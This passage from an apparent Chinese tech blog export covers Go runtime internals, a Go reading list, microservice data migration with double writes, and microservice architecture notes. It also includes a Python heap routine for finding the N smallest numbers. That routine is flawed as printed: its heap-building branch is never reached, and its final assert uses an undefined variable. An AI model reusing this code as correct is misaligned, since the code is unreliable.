compiler's definition. count int // # live cells == size of map. Must be first (used by len() builtin) flags uint8 B uint8 // log_2 of # of buckets (can hold up to loadFactor * 2^B items) noverflow uint16 // approximate number of overflow buckets; see incrnoverflow for details hash0 uint32 // hash seed buckets unsafe.Pointer // array of 2^B Buckets. may be nil if count==0. oldbuckets unsafe.Pointer // previous bucket array of half the size, non-nil only when growing nevacuate uintptr // progress counter for evacuation (buckets less than this have been evacuated) extra *mapextra // optional fields}type bmap struct { // tophash generally contains the top byte of the hash value // for each key in this bucket. If tophash[0] < minTopHash, // tophash[0] is a bucket evacuation state instead. // 用于 hash 的快速比较,当 hash 相等的时候还会跟原 key 进行一次匹配。 tophash [bucketCnt]uint8 // Followed by bucketCnt keys and then bucketCnt values. // NOTE: packing all the keys together and then all the values together makes the // code a bit more complicated than alternating key/value/key/value/... but it allows // us to eliminate padding which would be needed for, e.g., map[int64]int8. // Followed by an overflow pointer.} 注意看上面的 NOTE 里的 KV 排列结构,这样做有利于内存对齐。 bmap 后面的内存分配未在结构体中定义,需要拿 KV 的时候要通过 unsafe.Pointer 根据 offset 去拿。 见 mapaccess1 或 mapaccess2. 哈希表在每次扩容时,容量会增大到原来的两倍,也就是从 2^B 到 2^(B+1)。为了保证运行效率,会将 key 的搬迁操作平摊到每一次写操作(insert & remove)上,每次操作时迁移 1-2 个键值对。查找时会先在 old—buckets 中找,找不到再去新的 buckets 中找。 map 使用快速的 murmurhash 作为哈希算法。 map 解决冲突的方法是链地址法的改进形式。 在创建 bmap 时,会分配一个数组,都可以容纳 8 个键值对。发生哈希冲突时,都会将新的键值对放入添加到数组里。如果数组放满了,则会新建一个 bmap,通过 overflow 指针来链接到当前 bucket 节点后面。 关于查找、插入和删除的细节,请见该书相关章节。 一个需要注意的点:在 bmap 链中,相同的 Key 可能会存在于两个 bucket 里,而前面 bucket 的值会直接覆盖后面 bucket 的值。在进行更新操作时,如果前面 bucket 不存在该键,但是数组包含空位,则直接在该 bucket 中插入,而不会再去链表后面的 bucket 中查找并更新。查找操作亦然。怎么说,这个机制有点像 docker 镜像中的不同层的文件覆盖机制。 channel src/runtime/chan.go 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152type hchan struct { qcount uint // 环形队列的总数量 dataqsiz uint // 环形队列大小 buf unsafe.Pointer // 环形队列 elemsize uint16 closed uint32 elemtype *_type // 元素类型 sendx uint // 缓存区的发送指针(也就是缓冲区尾) recvx uint // 缓冲区的接收索引(也就是缓冲区头) recvq waitq // 因接收而阻塞的等待队列 sendq waitq // 因发送而阻塞的等待队列 // lock protects all fields in hchan, as well as several // fields in sudogs blocked on this channel. // // Do not change another G's status while holding this lock // (in particular, do not ready a G), as this can deadlock // with stack shrinking. lock mutex}type waitq struct { first *sudog last *sudog}type sudog struct { // The following fields are protected by the hchan.lock of the // channel this sudog is blocking on. shrinkstack depends on // this for sudogs involved in channel ops. g *g // isSelect indicates g is participating in a select, so // g.selectDone must be CAS'd to win the wake-up race. isSelect bool next *sudog prev *sudog elem unsafe.Pointer // data element (may point to stack) // 存储 goroutine 的 // The following fields are never accessed concurrently. // For channels, waitlink is only accessed by g. // For semaphores, all fields (including the ones above) // are only accessed when holding a semaRoot lock. acquiretime int64 releasetime int64 ticket uint32 parent *sudog // semaRoot binary tree waitlink *sudog // g.waiting list or semaRoot waittail *sudog // semaRoot c *hchan // channel} 以前 channel 的缓冲区会在 hchan 之后的内存中创建,现在将它们分开了。 对 channel 进行读写操作的时候,会根据缓冲区的状态、以及读 / 写链表来决定是否要阻塞当前 goroutine,阻塞的话会将当前的 G 挂载链表中。 interface 1234567891011121314151617181920// 带方法的接口type iface struct { tab *itab data unsafe.Pointer}type itab struct { inter *interfacetype _type *_type hash uint32 // copy of _type.hash. Used for type switches. _ [4]byte fun [1]uintptr // variable sized. fun[0]==0 means _type does not implement inter.}// fun 中会保存接口值背后具体类型的方法// 空接口type eface struct { _type *_type data unsafe.Pointer} Type 的 UncommonType 会记录某个具体类型实现的方法; interface 的 Itab 的 InterfaceType 中的方法表,记录了接口所声明的方法; itab 的 fun 数组,记录了具体的函数指针,用作接口值的方法缓存。 在接口值赋值时,会将 UncommonType 和 InterfaceType 中的方法表进行比对;如果比对成功的话,会将 UncommonType 中的方法指针拷贝到 itab 的 fun 中,方便方法调用时对方法进行查找。 方法调用 a.F(b) 会在编译时直接转换为 A.F(a, b); 当一个类型被匿名嵌入结构体时,它的方法会被拷贝到嵌入结构体的 Type 的方法表中。这个过程在编译时就可以完成。 接口的方法调用要通过 itab.fun 中的函数指针来确定具体调用的方法。方法拷贝的过程是在运行时完成的,所以接口的方法调用的成本要略高于一般方法调用。 函数调用协议 Go 把返回值放在上一个栈帧最后的内存中,这样调用链前后的两个函数都可以触及到这段内存,以此来实现多值返回。 12345返回值2返回值1参数3参数2参数1 <- SP go 关键字是个语法糖,go f(args) 可以看做 runtine.newproc(size, f, args); 同样 defer 也是语法糖,通过 runtine.deferproc 和 runtine.deferreturn 来实现。 连续栈 一个程序中可能会有非常多的 goroutine,为了节省内存,每个 goroutine 一开始只会得到非常小的一块栈。 使用可变栈时,每次函数调用时,都会通过 SP 和 stackguard 检查栈的使用情况。 当栈不够大时,会进行栈扩张,开一块新栈,并把旧栈的内容复制过去。如果栈里有指针,而指针指向的是栈中的变量,那么在复制时会对指针的值加一个偏移,来保证指针指向的对象是被迁移过后的对象。 gc 时,如果检测到栈只用了不到 1/4 时,会将栈缩小为原来的 1/2. 闭包 Go 通过 escape analyze 来检查逃逸的值,从而确定该值是否应该在堆上创建,而不是在栈中。 1234func New() *T { var t T return &t} 返回闭包时并不是单纯返回一个函数,而是返回了一个结构体,记录下函数返回地址和引用的环境中的变量地址。书中是有这样一个结构体的,但在我的源码里,这个数据结构应该是用汇编实现了。 Go 程序初始化 系统初始化:初始化栈、设置本地线程存储(g) 调度器初始化:runtime.schedinit 根据 GOMAXPROCS 决定可用线程数;把 runtime.main 放入就绪线程队列; 调用 runtime.mstart,mstart 调用 schedule,也就是一直运行的调度器。 schedule 选中 runtime.main 通过 newm(sysmon, nil) 启动一个线程运行 sysmon,用于处理网络 epoll 通过 runtime.newproc 启动一个 G 执行 scavenger,用于垃圾回收 调用 main.main 进入用户代码。 会单独启动一个线程(M)用于 poll()。GC 都是 goroutine,这个任务的地位是高于 GC 的。 调度模型 Go 如何实现并发? Go 通过 goroutine 和 channel 来实现 CSP 并发模型,从而实现并发。 goroutine 是 Go 语言中并发的执行单位。可以理解为轻量级的“线程”。 channel 是 Go 语言中各个并发结构体 (goroutine) 之前的通信机制。 通俗的讲,就是各个 goroutine 之间通信的“管道”,有点类似于 Linux 中的管道。 再深入一点,Go 线程模型的实现依靠 MPG 以及 Sched 结构体。 M 是 Machine,是对机器的抽象,一个 M 会关联一个物理线程; P 是 Processor,代表 Go 代码执行是所需要的资源; G 是 Goroutine,代表 Goroutine 的控制结构; Sched 是调度实现中使用的数据结构。 多个 G 会以队列的形式挂靠在 P 上;当 G 与 M 绑定时,才能够执行 Go 代码。 调度时会采用抢占式调度模型以避免一个 goroutine 运行太长时间;某个 P 的队列变空时会从其它的 P 队列上偷 G,然后继续运行。 http://morsmachine.dk/go-scheduler 系统调用细节 当某个 goroutine 发起一次系统调用时,会调用 runtime.entersyscall。 调度器会将 G 的状态设置为 Gsyscall 后放入就绪队列; 此时,p 会和 m 进行剥离,p 的状态被设为 Psyscall,而 m 会去执行系统调用。 如果系统调用时非阻塞的,那么 m 会很快返回。返回时会调用 runtime.exitsyscall,这个时候会去检查当前 m 的 P,如果 P 处于 Psyscall 且队列非空,则重新将 p 和 m 绑定,恢复 g 的状态为 Grunning,继续运行。 如果 goroutine 发起的是阻塞的系统调用,则会调用 runtime.entersyscallblock。 与 entersyscall 不同的是,entersyscallblock 会调用 releasep 和 handoffp。 releasep 将当前的 M 与 M 关联的 P 剥离,M 会负责去执行系统调用; 执行 handoffp 会让 P 尝试挂靠到其它空闲的 M 上继续执行。 如果 P 上没有 G 了,P 会被设置为 Pidle;如果没有空闲的 M 了,则会调用 startm 来让 P 与新的 M 绑定后继续执行。 当系统调用完成时,要让发起调用的 G 来继续执行。这时 G 会去找可用的 P。如果当前不存在 Pidle 的 P,调度器将会把 G 变成 Grunnable,将它挂到全局的就绪 G 队列中,然后停止当前 m 并调用 schedule 函数。 换句话说,block 的时候,可能 m 上的 P 会空闲,等 m 返回后还可以继续挂载执行,此时 M-P-G 的绑定原样恢复。整个逻辑就有点像非阻塞调用。如果 m 上的 P 去干别的了(比如又找了个新的 M 继续执行),那么当前 m 会将信息传递给 G,改变 G 的状态,然后 m 自己退出(因为所有的 P 都有 M 了) 内存管理 内存池 每个线程都会有自己的本地内存,当线程内存不够时会向全局分配链中申请内存。 Go 会为每个 M 在 MCache 中存储一些空闲的小内存块;作为备用分配存储。当 MCache 用完后,会从 MCentral 自由链拿一些对象进行补充;MCentral 为空时,又会从 Mheap 中拿一些对象进行补充。这样的多级批量补充机制减小了全局内存加锁的开销。 当程序需要小对象(小于 32K)时,会直接从 MCache 中分配,对象被回收后控制内存返回给全局控制堆(MHeap); 从 MCache 中分配避免了在全局控制堆上频繁加锁。 当需要大对象时,会直接从全局控制堆上以页(4KB)为单位进行分配。因此大对象总是页对齐的。 垃圾回收 Go 语言使用标记清除算法来完成垃圾回收,整个回收过程会 stop the world. 标记阶段从 root 区域出发,扫描所有直接或间接引用的对象;清除阶段直接扫描堆区,对未被标记的对象进行回收。 由于标记过程是一个树形的操作,所以这个过程被并行化,以提升速度。 网络 Go 通过运行时层面对 epoll/kqueue 的封装来实现非阻塞 io. 封装层次: 平台相关的 API 封装 平台独立的 runtime 封装 用户级别的库封装(如 net) 在 runtime.main 启动时,会运行 newm(sysmon, nil),而 sysmon 就会每隔一段时间执行 runtime.epoll。sysmon 的地位要比 gc 重要的多,而且会频繁执行,所以会单独为它分配一个系统线程(m)来运行。","categories":[{"name":"Golang","slug":"Golang","permalink":"https://blog.stdioa.com/categories/Golang/"}],"tags":[{"name":"Golang","slug":"Golang","permalink":"https://blog.stdioa.com/tags/Golang/"}],"author":"David Dai"},{"title":"Golang 学习记录","slug":"golang-learning-experience","date":"2019-06-19T07:27:00.000Z","updated":"2022-09-10T01:41:19.794Z","comments":true,"path":"2019/06/golang-learning-experience/","link":"","permalink":"https://blog.stdioa.com/2019/06/golang-learning-experience/","excerpt":"这几个月在考虑从 Python 转向 Golang,所以专门学习了 Golang. 这里是 Golang 学习的一些记录。","text":"这几个月在考虑从 Python 转向 Golang,所以专门学习了 Golang. 这里是 Golang 学习的一些记录。 学习笔记稍后再整理(咕),先列一下我这几个月看过的各种教程吧。 阅读列表 Go by Example Go by Example 是对 Go 基于实践的介绍,包含一系列带有标注说明的示例程序。 真·快速上手必备。 《Go语言四十二章经》 《Go语言四十二章经》详细讲述了Go语言规范与语法细节以及在开发中常见的误区;通过对标准库包和著名第三方包的实际运用,来启发读者深刻理解Go语言的核心思维,仔细琢磨经典代码设计模式,引领读者进入Go语言开发的更高阶段。 讲解详细、信息量超大的 Go 语言教程。 Go Tour 经典的 Golang 官方教程。 上大学的时候啃过英文的 Go Tour,但是没啃完。 看完《Go 语言四十二章经》以后,我只用了一个半小时就把整套教程刷完了。 Go-Mega 作者模仿 The Flask Mega-Tutorial 写的 Go 语言 MVC 开发教程,使用裸 http 包来进行 Web 开发。 《Go 语言圣经》 也是经典教程了。 不知道为什么,书的内容让我感觉稍微有点点晦涩。 大概这个时候被推荐了一个叫 Exercism 的网站,上面有一些有趣(或鬼畜)的题目可以用来练习编码熟练度。 两天完成了大概三分之一的题目,然后就搁置在一边了。 代码在这里。 《Go 语言标准库》 Golang标准库。对于程序员而言,标准库与语言本身同样重要,它好比一个百宝箱,能为各种常见的任务提供完美的解决方案。以示例驱动的方式讲解Golang的标准库。 写的很棒,日后也可以做工具书来查询标准库用法。 只不过这本书没有写完,有点可惜。 《Go 语言高级编程》 《Go语言高级编程》开源图书,涵盖CGO、Go汇编语言、RPC实现、Protobuf插件实现、Web框架实现、分布式系统等高阶主题(完稿) 我看的时候跳过了 CGO 和汇编的部分。 内容…Emmmm…有点杂。比如分布式系统章节的大部分内容并不是在讲 Go,而是在讲后端的解决方案、技术选型,以及各种成熟产品的使用。不过还是值得一看。 看完这些以后,我用了两天时间,使用 gin 重新实现了大三的时候写的迷你博客的后端部分,只不过此时 Go-Mega 的内容已经忘记了不少,所以 MVC 的模式可能实现的不够规范。代码在这。 《Go Web 编程》 这本书有点老了,内容也比较简单,大概翻了翻,不到俩小时就看完了。 《深入解析 Go》 深入讲了 Go 语言的内部实现,应该对理解 Go 底层会有很大帮助。 这本书刚开始看。书中的 Go 语言版本较老,一些底层数据结构的逻辑是用 C 实现的;而 Go 语言从 1.5 版本以后就实现了自举,而我的手上的代码是 Go 1.12.5,所以在翻看代码时可能会发现一些实现上的细小差别。 此外,适合入门的书籍还有《Go 入门指南》,不过个人更推荐使用《Go语言四十二章经》来入门。 再推荐一位大佬的博客,他对 Go 语言的一些底层细节做了深入的分析和易懂的讲解。https://halfrost.com/tag/go/ 学习笔记 《深入解析 Go》笔记,书讲的很深入,我记得不够深入。 基础内容的笔记稍后奉上(大概吧)。","categories":[{"name":"Golang","slug":"Golang","permalink":"https://blog.stdioa.com/categories/Golang/"}],"tags":[{"name":"Golang","slug":"Golang","permalink":"https://blog.stdioa.com/tags/Golang/"}],"author":"David Dai"},{"title":"用堆找出最小的 N 个数","slug":"find-minn-with-heap","date":"2019-05-21T08:26:34.000Z","updated":"2022-09-10T01:41:19.792Z","comments":true,"path":"2019/05/find-minn-with-heap/","link":"","permalink":"https://blog.stdioa.com/2019/05/find-minn-with-heap/","excerpt":"不知道为啥,突然想水一篇很水的算法文章。","text":"不知道为啥,突然想水一篇很水的算法文章。 今天整理 MySQL 的笔记,看到了这样一句话: MySQL 在执行 ORDER BY x LIMIT n 这类语句,且 LIMIT 的数量有限时(比如只需要 3 条数据),MySQL 会尽量通过堆来构建优先队列,减少排序所需的时间。 这是堆的一个经典应用:从海量数据中找出最大(小)的 n 个数。 之前只用堆写过堆排,没有用堆处理过在线算法,所以就写了写。 用一句话概括这个算法:要找最小的数,就要构建大顶堆。 在处理数据时,我们会构建一个大顶堆 H,那么 H[0] 的值也就是当前数据中最小的 N 个数中的最大值,也就是第 N 小的数。 当处理新的数时,如果这个数小于堆顶的数,那么就把它变成堆顶,然后再对堆进行维护,以保证有序。 此算法的时间复杂度为 O(MlogN),空间复杂度为 O(N)。其中,M 是海量数据的数量,而要求出的最小数的数量。 最后上代码,使用 Python 语言编写。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556import randomclass HeapForMinN: """求最小的 N 个数""" def __init__(self, size): self.size = size self.heap = [] def add(self, num): if len(self.heap) < self.size: # 数据太少 self.heap.append(num) elif len(self.heap) + 1 == self.size: # 数据数量够了,构建堆 self.heap.append(num) self.build_heap() elif num < self.heap[0]: # 使用新数替换堆顶 self.heap[0] = num self.max_heapify(0) def build_heap(self): length = len(self.heap) for i in range((length + 1) // 2, -1, -1): self.max_heapify(i) def max_heapify(self, index): length = len(self.heap) while index < length: maxi = index i1, i2 = index * 2 + 1, index * 2 + 2 if i1 < length and self.heap[maxi] < self.heap[i1]: maxi = i1 if i2 < length and self.heap[maxi] < self.heap[i2]: maxi = i2 if maxi == index: break self.heap[index], self.heap[maxi] = self.heap[maxi], self.heap[index] index = maxi def min_n(self): return self.heapif __name__ == "__main__": list_ = list(range(1, 10001)) * 2 random.shuffle(list_) N = 10 hn = HeapForMinN(N) for i in list_: hn.add(i) min_n = hn.min_n() print(min_n) # [5, 4, 5, 4, 3, 3, 1, 1, 2, 2] assert sorted(min_n) == sorted(list_)[:n]","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.stdioa.com/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"},{"name":"算法","slug":"算法","permalink":"https://blog.stdioa.com/tags/%E7%AE%97%E6%B3%95/"},{"name":"堆","slug":"堆","permalink":"https://blog.stdioa.com/tags/%E5%A0%86/"}],"author":"David Dai"},{"title":"微服务架构下的数据迁移指南","slug":"data-migration-between-microservices","date":"2019-04-08T04:40:00.000Z","updated":"2022-09-10T01:41:19.790Z","comments":true,"path":"2019/04/data-migration-between-microservices/","link":"","permalink":"https://blog.stdioa.com/2019/04/data-migration-between-microservices/","excerpt":"在扇贝,除了 CRUD 以外,做的最多的事情大概也就是数据迁移了,以至于后来简单的数据迁移工作都变成了一种搬砖。今天动笔写一写在扇贝做数据迁移的方法,以及一些需要关注的点。","text":"在扇贝,除了 CRUD 以外,做的最多的事情大概也就是数据迁移了,以至于后来简单的数据迁移工作都变成了一种搬砖。今天动笔写一写在扇贝做数据迁移的方法,以及一些需要关注的点。 0. 为什么要做数据迁移? 出于架构调整 / 业务调整,我们需要把某个微服务中的数据交给另外一个微服务去管理。 因为每个服务通常会有自己的数据库,而且只会连接到自己的数据库,所以我们在让新的服务接管数据之前,就要保证全部或部分数据已经要在新的数据库中了,这样业务才能够平滑过渡并切换。 1. 怎么做数据迁移? 1.1 静态数据迁移 把数据从 A 服务迁移到 B 服务中,所需的步骤: 把 A 里的数据都取出来 把数据塞进 B 里面 没有了!就这么简单,比“把大象放进冰箱”还少一步~🌝 所以本文到此结束,靴靴你浪费宝贵的一分钟时间来阅读,再会。 这个方案过于简单,只适用于最最最最最简单的场景。也就是说,当需要迁移的数据基本上是静态的,在业务迁移过程中一点都不会变的时候,才可以用这种方案。 但通常我们需要迁移的数据大多都是用户数据,会不断变化 / 增长,有时还会出现删除的情况,而且数据量较大,这个时候很难再通过静态导出 → 导入的方式迁移数据。 一般这个时候,我们都会采取双写的方式来迁移数据。 1.2 基于双写的数据迁移 什么叫“双写”呢? 简单地讲,就是在 A 的数据发生变化时,通过某种方式(如消息队列,下称 MQ)异步通知到 B,然后 B 业务对数据进行修改。这种方式有点像 MySQL 基于 binlog 的主从同步,主要步骤如下: 建立双写机制 通过 MQ 建立 A → B 的单向通路,在 A 处理数据修改后,通过 MQ 发送消息,内含一份最新版本的数据; B 在收到消息后,根据消息内容对数据表进行插入或更新操作,以保证数据状态与 MQ 中的消息一致。 这样,A 中的数据更新后,B 中对应的数据也就能很快地同步。 不过,我们在处理消息时,通常会保证处理逻辑是幂等的。幂等逻辑的作用,会在下一步有所体现。 历史数据迁移 上面的通路建立后,最近发生变化的数据会进行更新,但大多数据不会被更改,所以也就不会进行同步。这个时候,就需要我们把所有历史数据全部导入 B 服务中。 但在实际操作中,我们很难判断哪些数据是没有被更新过的历史数据。不过在幂等双写机制的帮助下,我们也不需要做这个判断——编写迁移脚本,直接把表中的数据遍历一遍,通过双写通路发过去就好了,反正相同的消息在 B 那边处理两遍的效果是一样的。 校验数据完整性 通过某些方法(如服务间调用)获取数据,将新老数据进行对比,确保迁移过程中未产生数据不一致的情况。 这样,我们就把 A 数据库中的所有数据都迁移到了 B 数据库中,而且在 A 的数据发生变化的同时,B 也可以在很短的时间内(通常不到 0.5s)完成更新。 双写时,需要针对不同类型的数据制定不同的迁移方案和消息格式: 内容数据 内容数据中每行只包含各种内容,这种数据我们通常都会通过主键(如 id 列)去标明唯一性。此时,双写数据应包含行 ID,以及该行下的所有需要迁移的内容。 业务在处理双写数据时,会根据 ID 在数据库中查找。数据不存在时则进行插入,数据存在时则对现有数据进行更新。 关系数据 与内容数据不同,表明实体间关系的数据中主键的地位并没有那么高,真正标明唯一性的字段可能是表中的一到多个外键。此时,双写数据可以不考虑 ID,而只提供外键值和其他附加内容。 类似地,业务在处理数据时,会通过外键来检索现有数据。 缓存数据 这里的“缓存数据”是指由现有内容经加工后生成的数据,比如文本分析结果、或统计数据等。这些数据如果方便重算,则没有迁移的必要——迁移过去重新计算就可以了。 2. 怎么做业务过渡? 相同的业务逻辑出现两遍,就比较容易破坏两边业务的一致性,所以除了数据迁移外,数据的处理逻辑通常也会由业务 A 迁移至业务 B。这就要求在 B 端构建相同或相似的业务逻辑和接口,然后将 A 端的调用迁移到 B 端去。 此时通常有三种方案:客户端切换、路由切换和业务代理。不好意思这仨词都是我瞎编的。 客户端切换 对于后端来说,这是最简单的一种:什么都不用做,只需实现客户端修改代码,将之前对 A 服务的调用改为对 B 服务的调用,这样也就完成了逻辑切换。 但对于某些客户端来说,通过客户端切换所有流量并不现实,所以还是需要在后端实现向前兼容:对老客户端保留老接口,但要通过某种方式将逻辑转移到新服务上。 路由切换 这个涉及到了一些运维操作。简单来讲,就是在 B 服务中实现一份接口,要求与 A 的接口描述与接口逻辑保持完全一致。然后,通过上层服务器的路由规则,将所有 A 的接口调用重定向到 B 即可。 这种方案同样简便可行,但会将业务的特殊规则带到服务器配置中,这样会将配置复杂化,不利于运维操作。 业务代理 这种方法较为复杂,但可以把所有工作量都放在后端,不涉及到其它部门。而且,当 A 中的现有逻辑非常复杂时,通常也只会考虑这种方案。 具体来讲,就是在 B 中实现内部 RPC / API 接口,然后在 A 中移除对现有数据库的读写依赖,改为进行服务间调用。这样,A 的接口得以保留,但业务逻辑已经转移到了 B 中。 3. 一些极端的场景要如何应对? 3.1 数据可能会被删除 这种情况的解决方案简单粗暴:针对删除的操作新建一条双写通路,或在现有的消息中添加特定信息以标记该消息表示的是更新还是删除操作。 但要注意一点:删除消息的处理逻辑最好也是幂等操作。 3.2 数据量极大 当数据量很大,如达到亿级别时,迁移历史数据的耗时会很久,此外,幂等逻辑的存在也会拖慢消息的处理速度。 此时,可以考虑进行多段、不同粒度的迁移。 此前,我们在双写 / 数据迁移时,都是一条一条数据去迁移的,接收端插入数据也同样是一条一条来插入。但如果我们一次性把多条数据进行打包,在一条消息中发送多条数据内容,接收端也就可以使用一条语句来插入多条数据。但这样操作的话,消息处理逻辑的幂等性就很难保证。 所以我们会采用以下策略: 首先,通过批量迁移的方式迁移数据库中的全部数据,此时没有双写信号,所以消息接收方只负责将数据无脑插入; 第二步,上线针对单条数据的双写逻辑,此时的消息处理应该是幂等的; 第三步,找出所有批量迁移开始后新产生的数据,将其通过双写接口进行迁移; 此时,由于处理方的幂等性,我们只需要保证找到的数据只多不少即可。所以,此步迁移数据的时间点划分可以设为批量迁移开始时间的数小时前。 最后,校验数据完整性。 这样,我们就提高了数据迁移的整体速度。 举个具体例子来表明成果: 有一个项目需要迁移 3.5 亿左右的数据到新库,而单条数据迁移的吞吐量大概在每分钟 10000 条。按照这个速率,将所有数据完整迁移需要 25 天。 而我们采用了批量迁移的方法,在第一步时,遍历所有用户,将每个用户的所有数据打包为一条消息,并通过 MQ 迁移。这一步只用了 27 个小时就迁移了大部分数据。 然后,上线了幂等的双写逻辑,再花费不到 4 小时对新产生的数据进行迁移。 这样我们只用了不到 31 小时就将所有数据迁移完成,迁移速率提高了 18 倍。 为了保险,我们在批量迁移无人值守(如半夜)的时候把迁移速率调的很低。事实上那个时候是几乎没有请求的,如果把速率调高,可以使批量迁移的时间缩短 4 小时以上。 此外,在批量迁移的过程中,还可以应用一些小技巧: 批量迁移时如果单批数据量过大,为避免消息堆积占用 MQ 内存,消息可以在放入 MQ 前进行压缩; 在进行粗粒度数据迁移时,可以考虑关闭或去除接收方的数据库约束检查,以提高接收方数据写入的速率。此时,数据完整性由发送方来保证。粗粒度迁移过后,在上线幂等的细粒度迁移前,再恢复数据库约束。 3.3 无法一次性迁移所有数据逻辑 有时业务逻辑复杂,迁移成本很高,无法一次性地将接口全部迁移过去。这时我们就需要采取一些“曲线救国”的策略,让两端的数据保持一致,且服务同时可用。 为此,我们需要添加 B → A 的反向双写机制。通过 B 服务的接口产生的数据,将会经过反向双写的通道回写至 A 中。这样,两端数据就能保持同步。此时再慢慢地迁移 A 的业务逻辑即可。 不过在构建反向双写时,需要格外注意两端数据流向,以避免双写“死循环”的事故出现。 3.4 需要对迁移速率进行控制 嘛,这个其实并不是特殊场景了,个人觉得更像是一个编写迁移脚本时的必备需求。 我们迁移数据时,业务常常都是在线的。如果数据迁移速率过快,会加重数据库的负担,从而给相关业务带来影响;如果迁移速率过慢,又会浪费一些时间。因此,我们要在不影响业务的情况下,尽量快地进行数据迁移。而迁移的速率,可以由我们来控制,从而动态地进行调整。 常见的调速逻辑如下: 通过一轮数据库查询,取出一批数据(如 1000 条); 将这些数据打包成消息发送出去; 从 Redis 的一个键中读取一个值,并依据这个值来 sleep 一段时间; sleep 结束后,再去数据库中取下一批数据。 这样,我们在迁移数据的时候,就可以通过更改 Redis 中的值,来人工干预迁移进程的迁移速率了。 以上,就是本文的全部内容。 如果有什么经验或疑问,欢迎在评论中分享或交流。 不要向下面那三位抱大腿的人学习啊🌚","categories":[{"name":"开发","slug":"开发","permalink":"https://blog.stdioa.com/categories/%E5%BC%80%E5%8F%91/"}],"tags":[{"name":"微服务","slug":"微服务","permalink":"https://blog.stdioa.com/tags/%E5%BE%AE%E6%9C%8D%E5%8A%A1/"},{"name":"数据迁移","slug":"数据迁移","permalink":"https://blog.stdioa.com/tags/%E6%95%B0%E6%8D%AE%E8%BF%81%E7%A7%BB/"},{"name":"后端开发","slug":"后端开发","permalink":"https://blog.stdioa.com/tags/%E5%90%8E%E7%AB%AF%E5%BC%80%E5%8F%91/"}],"author":"David Dai"},{"title":"《从 0 开始学微服务》阅读笔记","slug":"geektime-microservice-notes","date":"2019-03-30T11:40:00.000Z","updated":"2022-09-10T01:41:19.793Z","comments":true,"path":"2019/03/geektime-microservice-notes/","link":"","permalink":"https://blog.stdioa.com/2019/03/geektime-microservice-notes/","excerpt":"前一阵子购买了胡忠想老师的《从 0 开始学微服务》极客时间专栏,二月份看完以后做了一些笔记。","text":"前一阵子购买了胡忠想老师的《从 0 开始学微服务》极客时间专栏,二月份看完以后做了一些笔记。 服务化拆分 根据我的实际项目经验,一旦单体应用同时进行开发的人员超过 10 人,就会遇到上面的问题,这个时候就该考虑进行服务化拆分了。 服务化拆分的两种姿势: 纵向拆分:按业务维度拆分,关联比较密切的几个业务业务适合拆成微服务;功能相对独立的业务拆成微服务; 横向拆分:从公共且独立功能维度拆分。标准是是否有公共的服务被多个其它服务调用,且依赖的资源独立不与其他业务耦合。 微服务架构 初探微服务架构 微服务架构下,服务调用主要依赖下面几个基本组件: 服务描述 注册中心 服务框架 服务监控 服务追踪 服务治理 服务描述——如何发布和引用微服务 常用的服务描述方式包括 RESTful API、XML 配置以及 IDL 文件三种。 RESTful API 基于 HTTP 协议,因此对调用方(服务消费者)来说几乎不需要任何学习成本即可调用,因此比较适合用作跨平台之间的服务协议。 XML 配置方式的服务发布和引用分三个步骤: 服务提供者定义并实现接口; 服务提供者进程启动时,通过加载 server.xml 配置文件将接口暴露出去; 服务消费者进程启动时,通过加载 client.xml 配置文件来引入要调用的接口。 XML 配置方式的接口变更需要同时更改服务方和调用方的接口文件,在跨部门调用时非常麻烦,所以一般用于私有 RPC 服务。 如果要做变更,尽量新加接口,而不是在现有接口上进行更改。 IDL 是接口描述语言(Interface Description Language)的缩写。将一个使用独立语言(如 protobuf)编写的定义文件编译为其他语言的模块,来实现跨语言的服务通信交流。 常用的 IDL 有两种:Thrift 和 gRPC. IDL 的优势在于跨平台,但劣势在于它需要对请求和响应格式进行详细定义,如果响应字段很多或格式频繁变化时,服务迭代将会变得很麻烦。 具体采用哪种服务描述方式是根据实际情况决定的,通常情况下,如果只是企业内部之间的服务调用,并且都是 Java 语言的话,选择 XML 配置方式是最简单的。如果企业内部存在多个服务,并且服务采用的是不同语言平台,建议使用 IDL 文件方式进行描述服务。如果还存在对外开放服务调用的情形的话,使用 RESTful API 方式则更加通用。 服务描述方式 使用场景 缺点 RESTful API 跨语言平台,组织内外皆可 使用 HTTP 作为通信协议,相比 TCP 协议,性能较差 XML 配置 Java 平台,一般用于组织内部 不支持跨语言平台 IDL 文件 跨语言平台,组织内外皆可 修改或删除 Protobuf 字段不能向前兼容 注册中心——如何注册和发现微服务 微服务架构下主要有三种角色:服务提供者、服务消费者和服务注册中心。 注册中心负责存储所有可用服务的信息,并将这些信息提供给服务消费者,可以认为是提供者和消费者之间的纽带。 注册中心为了及时更新服务状态,需要定期对服务进行健康状态监测,以免将不可用的服务提供给服务消费者。 为例保证高可用性,注册中心一般采用分布式集群存储。 使用注册中心的方式,客户端可以与所有可用的 server 建立连接池,从而在调用端实现请求的负载均衡。 如何实现 RPC 远程服务调用 RPC 调用方与服务提供方建立连接后,双方需要按照某种约定的协议进行网络通信。为了减少数据传输,通常还会对数据进行压缩(序列化)。 服务端处理请求的方式: 同步阻塞(BIO):双方均阻塞 同步非阻塞(NIO):客户端同步调用,服务端通过多路复用进行异步处理 异步非阻塞(AIO):客户端发起调用后返回,服务端处理结束后,客户端会收到结果 序列化方式的选用主要会从三个角度来考虑:支持数据结构类型的复杂度;跨语言支持程度;序列化性能(消息压缩比和序列化速度) 如何监控微服务调用 监控对象可以从上到下分为四个层次: 用户端监控:对功能的直接监控 接口监控:对接口本身的监控 资源监控:对功能依赖资源的监控(如 Redis) 基础监控:对服务器本身的健康状况的监控(CPU,内存,IO 等) 监控指标: QPS 响应时间 错误率 监控维度: 全局维度 分机房维度 单机维度 时间维度 核心维度(根据业务是否为核心业务来进行部署和监控上的隔离) 监控系统主要包括四个环节:数据采集、数据传输、数据处理和数据展示。 如何追踪微服务调用 服务追踪的作用: 优化系统瓶颈 优化链路调用 生成网络拓扑 透明传输数据 服务追踪的核心原理就是调用链:通过一个全局唯一的 ID 将分布在各个服务节点上的同一次请求串联起来,从而还原原有的调用关系。 比较有名的追踪框架有 Twitter 的 Zipkin,阿里的鹰眼,美团的 MTrace ,Opentracing 等。 服务追踪系统的架构 微服务治理的手段 节点管理: 注册中心主动摘除机制 